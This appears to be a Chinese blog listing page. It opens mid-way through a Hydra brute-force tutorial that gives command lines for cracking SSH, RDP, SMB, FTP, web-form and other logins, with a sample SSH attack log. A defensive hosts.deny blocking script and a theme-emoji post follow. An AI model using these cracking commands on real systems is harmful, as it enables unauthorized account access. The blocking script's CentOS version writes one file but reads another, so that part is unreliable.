使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
654 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
861 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
642 阅读
0 评论
0 点赞
1
2
3
4
...
7